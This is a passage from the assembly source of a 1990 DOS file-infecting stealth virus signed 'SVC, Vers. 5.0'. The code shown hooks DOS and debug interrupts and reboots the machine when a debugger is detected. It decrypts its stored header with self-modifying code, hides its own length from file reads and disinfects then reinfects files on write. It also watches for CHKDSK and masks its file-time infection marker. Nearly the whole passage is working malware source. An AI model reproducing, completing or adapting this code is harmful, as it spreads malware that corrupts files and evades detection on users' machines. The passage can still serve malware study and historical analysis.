  945.                 inc     cs:tickcount            ; one mo tick
  946. int8checkint1:
  947.                 xor     ax,ax
  948.                 mov     ds,ax
  949.                 cmp     word ptr ds:1*4,offset int1 ; int 1 changed?
  950.                 jne     int8setint1                 ; fix it if so
  951.                 mov     ax,cs
  952.                 cmp     word ptr ds:1*4+2,ax
  953.                 jne     int8setint1
  954. int8checkint3:
  955.                 cmp     word ptr ds:3*4,offset int3 ; int 3 changed?
  956.                 jne     int8setint3                 ; fix it if so
  957.                 mov     ax,cs
  958.                 cmp     word ptr ds:3*4+2,ax
  959.                 jne     int8setint3
  960. exitint8:
  961.                 popf
  962.                 pop     ds
  963.                 pop     ax
  964.                 jmp     dword ptr cs:oldint8
  965.  
  966. int8setint1:
  967.                 push    es
  968.                 les     ax,dword ptr ds:1*4
  969.                 mov     cs:oldint1,ax
  970.                 mov     word ptr cs:oldint1+2,es
  971.                 mov     word ptr ds:1*4,offset int1
  972.                 mov     word ptr ds:1*4+2,cs
  973.                 pop     es
  974.                 jmp     short int8checkint3
  975. int8setint3:
  976.                 push    es
  977.                 les     ax,dword ptr ds:3*4
  978.                 mov     cs:oldint3,ax
  979.                 mov     word ptr cs:oldint3+2,es
  980.                 mov     word ptr ds:3*4,offset int3
  981.                 mov     word ptr ds:3*4+2,cs
  982.                 pop     es
  983.                 jmp     short exitint8
  984.  
  985. int3:                                           ; reboot if debugger
  986.                 push    bp                      ; is active
  987.                 push    ax
  988.                 mov     bp,sp
  989.                 add     bp,6
  990.                 mov     bp,[bp]
  991.                 mov     ax,cs
  992.                 cmp     bp,ax
  993.                 pop     ax
  994.                 pop     bp
  995.                 jz      reboot
  996.                 jmp     dword ptr cs:oldint3
  997.  
  998. exitint1:
  999.                 iret
  1000.  
  1001. int1:
  1002.                 push    bp                      ; this routine doesn't
  1003.                 push    ax                      ; do very much that's
  1004.                 mov     bp,sp                   ; meaningful
  1005.                 add     bp,6
  1006.                 mov     bp,[bp]
  1007.                 mov     ax,cs
  1008.                 cmp     bp,ax
  1009.                 pop     ax
  1010.                 pop     bp
  1011.                 jz      exitint1
  1012.                 jmp     dword ptr cs:oldint1
  1013. reboot:
  1014.                 db      0EAh                    ; jmp F000:FFF0
  1015.                 db      0F0h, 0FFh, 0, 0F0h     ; (reboot)
  1016.  
  1017. decrypt:
  1018.                 push    bx
  1019.                 push    es
  1020.                 call    decrypt_next
  1021. decrypt_next:
  1022.                 pop     bx
  1023.                 mov     byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
  1024.                 nop
  1025.                 mov     byte ptr cs:[bx+19h],2   ; add dh,ah -> add ah,dh
  1026.                 nop
  1027.                 push    ds
  1028.                 pop     es
  1029.                 mov     di,si
  1030.                 mov     cx,18h
  1031.                 cld
  1032. decrypt_loop:
  1033.                 lodsb
  1034.                 db      0FFh, 0C4h              ; inc sp
  1035.                 stosb
  1036.                 db      0, 0E6h                 ; add dh,ah
  1037.                 loop    decrypt_loop
  1038.  
  1039.                 mov     byte ptr cs:[bx+16h],0FFh ; change back to inc sp
  1040.                 mov     byte ptr cs:[bx+19h],0    ; and add dh,ah -- why?
  1041.                 pop     es
  1042.                 pop     bx
  1043.                 retn
  1044.  
  1045. handlegoEOF:
  1046.                 popf
  1047.                 cmp     cs:filehand,bx          ; currently working on this?
  1048.                 jne     handlegoEOFexit
  1049.                 mov     cs:tempstoreDX,dx       ; save offset from EOF
  1050.                 mov     cs:tempstoreCX,cx
  1051.                 xor     cx,cx
  1052.                 xor     dx,dx
  1053.                 call    callint21               ; go to EOF
  1054.                 sub     ax,viruslength          ; shrink to carrier size
  1055.                 sbb     dx,0
  1056.                 mov     cx,ax
  1057.                 xchg    cx,dx
  1058.                 add     dx,cs:tempstoreDX       ; add offset from carrier
  1059.                 adc     cx,cs:tempstoreCX       ; EOF
  1060.                 mov     ax,4200h                ; and do it
  1061. handlegoEOFexit:
  1062.                 jmp     dword ptr cs:oldint21
  1063.  
  1064. handleopen2:
  1065.                 call    dword ptr cs:oldint21
  1066.                 pushf
  1067.                 push    ax
  1068.                 push    bx
  1069.                 push    cx
  1070.                 push    dx
  1071.                 push    di
  1072.                 push    si
  1073.                 push    ds
  1074.                 push    es
  1075.                 jc      handleopen2_exit
  1076.                 cmp     cs:filehand,0
  1077.                 jne     handleopen2_exit
  1078.                 push    ax
  1079.                 mov     bx,ax
  1080.                 call    checkifinfected
  1081.                 pop     ax
  1082.                 jc      handleopen2_alreadyinfected
  1083.                 mov     cs:filehand,ax          ; save file handle for
  1084.                 mov     bx,ax                   ; later use
  1085.                 mov     ax,4202h                ; go to end of file
  1086.                 xor     cx,cx                   ; to find file size
  1087.                 xor     dx,dx
  1088.                 call    callint21
  1089.                 sub     ax,viruslength          ; calculate carrier
  1090.                 sbb     dx,0                    ; size and store it
  1091.                 mov     cs:carrierEOFhi,dx
  1092.                 mov     cs:carrierEOFlo,ax
  1093. handleopen2_alreadyinfected:
  1094.                 xor     cx,cx                   ; go to start of file
  1095.                 xor     dx,dx
  1096.                 mov     ax,4200h
  1097.                 call    callint21
  1098. handleopen2_exit:
  1099.                 pop     es
  1100.                 pop     ds
  1101.                 pop     si
  1102.                 pop     di
  1103.                 pop     dx
  1104.                 pop     cx
  1105.                 pop     bx
  1106.                 pop     ax
  1107. exit_replaceflags:
  1108.                 popf
  1109.                 pop     cs:storesIP
  1110.                 pop     cs:storesCS
  1111.                 pop     cs:returnFlags
  1112.                 pushf
  1113.                 push    cs:storesCS
  1114.                 push    cs:storesIP
  1115.                 iret
  1116. handleread_exit:
  1117.                 jmp     handleread__exit
  1118.  
  1119. handleread:
  1120.                 call    dword ptr cs:oldint21   ; prechain
  1121.                 pushf
  1122.                 push    ax
  1123.                 push    cx
  1124.                 push    dx
  1125.                 push    ds
  1126.                 push    di
  1127.                 push    si
  1128.                 push    es
  1129.                 jc      handleread_exit         ; exit on error
  1130.                 cmp     cs:filehand,0
  1131.                 je      handleread_exit
  1132.                 cmp     cs:filehand,bx
  1133.                 jne     handleread_exit
  1134.                 mov     cs:bufferoff,dx
  1135.                 mov     cs:bufferseg,ds
  1136.                 mov     cs:bytesread,ax
  1137.                 xor     cx,cx                   ; get current file position
  1138.                 xor     dx,dx
  1139.                 mov     ax,4201h
  1140.                 call    callint21
  1141.                 jc      handleread_exit
  1142.                 sub     ax,cs:bytesread         ; find pre-read location
  1143.                 sbb     dx,0                    ; to see if need to
  1144.                 mov     cs:origposhi,dx         ; redirect it
  1145.                 mov     cs:origposlo,ax
  1146.                 mov     ax,4202h                ; go to end of file
  1147.                 xor     cx,cx
  1148.                 xor     dx,dx
  1149.                 call    callint21
  1150.                 sub     ax,viruslength
  1151.                 sbb     dx,0
  1152.                 mov     cs:carrierEOFlo,ax
  1153.                 mov     cs:carrierEOFhi,dx
  1154.                 cmp     cs:origposhi,0          ; check if read was
  1155.                 jne     handleread_notinheader  ; from the header
  1156.                 cmp     cs:origposlo,18h
  1157.                 jb      handleread_inheader
  1158. handleread_notinheader:
  1159.                 mov     cx,cs:origposhi         ; check if read extended
  1160.                 mov     dx,cs:origposlo         ; into the virus
  1161.                 add     dx,cs:bytesread
  1162.                 adc     cx,0
  1163.                 cmp     cx,cs:carrierEOFhi
  1164.                 jb      handleread_notinvirus
  1165.                 ja      handleread_invirus
  1166.                 cmp     dx,cs:carrierEOFlo
  1167.                 ja      handleread_invirus
  1168. handleread_notinvirus:
  1169.                 mov     cx,cs:origposhi         ; return to proper file
  1170.                 mov     dx,cs:origposlo         ; position
  1171.                 add     dx,cs:bytesread
  1172.                 adc     cx,0
  1173.                 mov     ax,4200h
  1174.                 call    callint21
  1175. handleread__exit:
  1176.                 pop     es
  1177.                 pop     si
  1178.                 pop     di
  1179.                 pop     ds
  1180.                 pop     dx
  1181.                 pop     cx
  1182.                 pop     ax
  1183.                 jmp     exit_replaceflags
  1184. handleread_invirus:
  1185.                 jmp     handleread__invirus
  1186. handleread_inheader:
  1187.                 cmp     cs:bytesread,0
  1188.                 je      handleread_notinheader
  1189.                 mov     cx,cs:carrierEOFhi
  1190.                 mov     dx,cs:carrierEOFlo
  1191.                 add     dx,offset savebuffer
  1192.                 adc     cx,0
  1193.                 mov     ax,4200h
  1194.                 call    callint21
  1195.                 jc      handleread_notinheader
  1196.                 push    ds
  1197.                 pop     es
  1198.                 push    cs
  1199.                 pop     ds
  1200.                 mov     dx,offset savebuffer
  1201.                 mov     ah,3Fh                  ; Read header
  1202.                 mov     cx,18h
  1203.                 call    callint21
  1204.                 jc      handleread_notinheader
  1205.                 cmp     ax,18h
  1206.                 jne     handleread_notinheader
  1207.                 mov     cx,cs:carrierEOFhi      ; go to decryption values
  1208.                 mov     dx,cs:carrierEOFlo
  1209.                 add     dx,offset encryptval1
  1210.                 adc     cx,0
  1211.                 mov     ax,4200h
  1212.                 call    callint21
  1213.                 mov     ah,3Fh                  ; read decryption values
  1214.                 mov     cx,2
  1215.                 mov     dx,offset encryptval1
  1216.                 call    callint21
  1217.                 jc      handleread_inheader_error
  1218.                 mov     si,offset savebuffer
  1219.                 mov     ah,byte ptr cs:encryptval1
  1220.                 mov     dh,byte ptr cs:encryptval2
  1221.                 call    decrypt
  1222.                 mov     cx,cs:origposlo
  1223.                 neg     cx
  1224.                 add     cx,18h
  1225.                 cmp     cx,cs:bytesread
  1226.                 jb      handleread_inheader_noadjust
  1227.                 mov     cx,cs:bytesread
  1228. handleread_inheader_noadjust:
  1229.                 mov     si,offset savebuffer    ; copy previously read
  1230.                 add     si,cs:origposlo         ; stuff if necessary
  1231.                 mov     di,cs:bufferoff
  1232.                 mov     es,cs:bufferseg
  1233.                 cld
  1234.                 cmp     cx,0
  1235.                 je      handleread_inheader_nomove
  1236.                 rep     movsb
  1237. handleread_inheader_nomove:
  1238.                 jmp     handleread_notinheader
  1239. handleread_inheader_error:
  1240.                 jmp     handleread_notinheader
  1241. handleread__invirus:
  1242.                 mov     cx,cs:origposhi
  1243.                 cmp     cx,cs:carrierEOFhi
  1244.                 ja      handleread__invirus_gocarrierEOF
  1245.                 jc      handleread__invirus_readpart
  1246.                 mov     cx,cs:origposlo
  1247.                 cmp     cx,cs:carrierEOFlo
  1248.                 jb      handleread__invirus_readpart
  1249. handleread__invirus_gocarrierEOF:
  1250.                 mov     cx,cs:origposhi
  1251.                 mov     dx,cs:origposlo
  1252.                 mov     ax,4200h
  1253.                 call    callint21
  1254.                 xor     ax,ax
  1255. handleread__invirus_exit:
  1256.                 pop     es
  1257.                 pop     si
  1258.                 pop     di
  1259.                 pop     ds
  1260.                 pop     dx
  1261.                 pop     cx
  1262.                 pop     cs:returnFlags
  1263.                 jmp     exit_replaceflags
  1264. handleread__invirus_readpart:
  1265.                 mov     cx,cs:carrierEOFhi      ; read portion of
  1266.                 mov     dx,cs:carrierEOFlo      ; file up to virus
  1267.                 mov     ax,4200h
  1268.                 call    callint21
  1269.                 sub     ax,cs:origposlo
  1270.                 jmp     short handleread__invirus_exit
  1271. handlewrite:
  1272.                 cmp     bx,0
  1273.                 je      handlewrite_exit
  1274.                 cmp     bx,cs:filehand
  1275.                 jne     handlewrite_exit
  1276.                 mov     ax,4201h                ; get current position
  1277.                 xor     cx,cx                   ; in the file
  1278.                 xor     dx,dx
  1279.                 call    callint21
  1280.                 jc      handlewrite_exit
  1281.                 mov     cs:curposlo,ax
  1282.                 mov     cs:curposhi,dx
  1283.                 mov     ax,4202h                ; go to end of file
  1284.                 xor     cx,cx                   ; to find the filesize
  1285.                 xor     dx,dx
  1286.                 call    callint21
  1287.                 mov     cs:filesizelo,ax
  1288.                 mov     cs:filesizehi,dx
  1289.                 call    disinfect               ; disinfect the file
  1290.                 jc      handlewrite_done
  1291.                 cmp     cs:handletoinfect,0
  1292.                 jne     handlewrite_done
  1293.                 mov     cs:handletoinfect,bx
  1294.                 mov     cs:filehand,0
  1295. handlewrite_done:
  1296.                 mov     dx,cs:curposlo          ; return to original
  1297.                 mov     cx,cs:curposhi          ; position
  1298.                 mov     ax,4200h
  1299.                 call    callint21
  1300. handlewrite_exit:
  1301.                 jmp     exitint21
  1302.  
  1303. terminate:
  1304.                 mov     cs:chkdskflag,0
  1305.                 jmp     exitint21
  1306.  
  1307. check_chkdsk:
  1308.                 mov     si,dx
  1309.                 cld
  1310. check_chkdsk_loop1:
  1311.                 lodsw
  1312.                 cmp     ah,0
  1313.                 je      check_chkdsk_exit
  1314.                 cmp     ax,'HC'
  1315.                 je      check_chkdsk_loop2
  1316.                 cmp     ax,'hc'
  1317.                 je      check_chkdsk_loop2
  1318.                 dec     si
  1319.                 jmp     short check_chkdsk_loop1
  1320. check_chkdsk_exit:
  1321.                 retn
  1322. check_chkdsk_loop2:
  1323.                 push    si
  1324.                 lodsw
  1325.                 cmp     ax,'DK'
  1326.                 pop     si
  1327.                 jz      check_chkdsk_found
  1328.                 cmp     ax,'dk'
  1329.                 je      check_chkdsk_found
  1330.                 dec     si
  1331.                 jmp     short check_chkdsk_loop1
  1332. check_chkdsk_found:
  1333.                 mov     cs:chkdskflag,1
  1334.                 retn
  1335.  
  1336. getsetfiletime:
  1337.                 cmp     al,0                    ; get file tiem?
  1338.                 jne     getsetfiletime_exit     ; nope, exit
  1339.                 call    dword ptr cs:oldint21   ; prechain
  1340.                 pushf
  1341.                 and     cx,1Eh                  ; if (seconds == 60)
  1342.                 cmp     cx,1Eh                  ; then xor with 60h
  1343.                 jne     getsetfiletime_nofix    ; to hide the change
  1344.                 xor     cx,1Eh                  ; otherwise, don't
  1345. getsetfiletime_nofix:
  1346.                 jmp     exit_replaceflags
  1347. getsetfiletime_exit:
  1348.                 popf
  1349.                 jmp     dword ptr cs:oldint21
  1350.  
  1351.                 db      '(c) 1990 by SVC,Vers. '
  1352.  
  1353.  
  1354.  
  1355. infection_marker db      '5.0 ',0
  1356.  
  1357. begindata:
  1358. oldint1         dw      0, 0
  1359. oldint3         dw      0, 0
  1360. oldint8         dw      0, 0
  1361. oldint21        dw      0, 0
  1362. savebuffer      dw      20CDh
  1363.                 dw      11 dup (0)
  1364. tickcount       db      0
  1365. carrierPSP      dw      0
  1366. origposlo       dw      0
  1367. origposhi       dw      0
  1368. carrierEOFlo    dw      0
  1369. carrierEOFhi    dw      0
  1370. bytesread       dw      0
  1371. bufferoff       dw      0
  1372. bufferseg       dw      0
  1373. tempstoreCX     dw      0
  1374. tempstoreDX     dw      0
  1375. filehand        dw      0
  1376. fileattr        dw      0
  1377. filetime        dw      0
  1378. filedate        dw      0
  1379. chkdskflag      dw      0
  1380. oldint24        dw      0, 0
  1381. oldint23        dw      0, 0
  1382. handletoinfect  dw      0
  1383. storesIP        dw      0
  1384. storesCS        dw      0
  1385. returnFlags     dw      0
  1386. filesizelo      dw      0
  1387. filesizehi      dw      0
  1388. curposlo        dw      0
  1389. curposhi        dw      0
  1390. workbuffer      dw      12 dup (0)
  1391. storeAX         dw      0
  1392.                 db      0
  1393. storess         dw      0
  1394. storesp         dw      0
  1395. int21command    dw      0
  1396. encryptval1     db      0
  1397. encryptval2     db      0
  1398.                 dw      1990h ; written 1990
  1399. versionbyte     db      50h   ; version 5.0
  1400.  
  1401. endvirus        =       $
  1402. viruslength     =       $ - start
  1403.                 end     start
  1404. -------------------------------------------------------------------------------
  1405.  
  1406.